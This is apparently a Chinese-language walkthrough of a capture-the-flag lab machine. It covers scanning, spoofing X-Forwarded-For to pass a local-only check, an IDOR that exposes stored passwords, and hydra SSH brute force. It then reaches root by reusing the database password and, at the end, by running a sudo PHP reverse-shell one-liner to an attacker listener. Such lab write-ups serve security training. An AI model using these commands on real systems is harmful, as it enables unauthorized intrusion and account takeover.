此靶机具有双flag,普通用户一个,root用户一个
工具及漏洞信息#
- netdiscover
- nmap
- gobuster
- hydra
- x-forwarded-for 本地访问
- 水平越权
- mysql 密码可能就是 root 密码
0x01 信息收集#
扫描靶机#
netdiscover的-r参数扫描192.168.1.0/16结果如下:

nmap扫描主机及端口信息:
nmap -sS -A -n -T4 -p- 192.168.1.12

可以看到只开启了ssh和web80 端口
扫描路径#
虽然大部分情况下不需要扫描路径,但是做工作做全套
gobuster扫描路径:
gobuster dir -u http://192.168.1.12 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

看来是没啥了,只有robots.txt必须每次要看一下,得到文件路径heyhoo.txt
得到了不痛不痒的提示:
Great! What you need now is reconn, attack and got the shell。
访问首页如下:

提示只能从本地访问,ctf中的入门问题:x-forwarded-for需要改为127.0.0.1表示来自本地的访问
多种方法可用,抓包也行,插件更多:Header Editor,X-Forwarded-For Header
我这里使用X-Forwarded-For Header:

0x02 普通账户 shell#
进入首页:

尝试登录弱口令无效,那我们注册一个账号:

登录后链接变为;
http://192.168.1.12/index.php?page=dashboard&user_id=12
看到这个user_id=xxx就想把它改为 1,用户名密码发生了改变:

通过firefox网页源代码查看功能,发现把密码隐藏框的属性type由password改为其他任意的就可以查看密码:

存在水平越权,又能查看密码,那我们就把整个数据库的账户密码存下来
前面端口扫描的时候,记得除了80还有一个22的ssh登录
使用hydra和我们爆破出的账户密码来爆破ssh服务:
hydra -L user.txt -P passwd.txt -t 4 -I ssh://192.168.1.12
- -t:4 每个目标并行连接的任务数,因为
ssh很容易被测试崩 - -I 表示跳过烦人的等待时间

爆破成功,获得ssh的账号密码:alice/4lic3,登陆之
0x03 提权 root#
登录后第一步查看当前目录:ls -al

在.my_secret目录下获得第一个flag
我们在扫描网站路径时除了robots.txt好像还有点其他东西,于是进入网站根目录看一下:
cd /var/www/html
config目录里是一个配置文件,内容为mysql的链接:

尝试连接sql数据库查看信息:

指定配置文件中给出的数据库,查看内容:

只是网站上的用户的数据库,没什么可用的
正当我觉得没用的时候,突然想到万一这不仅仅是数据库的密码呢?
退出数据库,切换root用户:su root, 输入数据库的密码:

进去了!WTF?

0x04 换种方法提权 root#
不行啊,这也太没技术含量了,这不就是查看目录的操作吗?
下面我们再换一种没有技术含量的方法::quyin:1huaji::
现在kali上监听nc -lvp 3333
靶机上php反弹shell:
sudo /usr/bin/php -r '$sock=fsockopen("192.168.1.2",3333);exec("/bin/sh -i <&3 >&3 2>&3");'

参考文章:
本文完。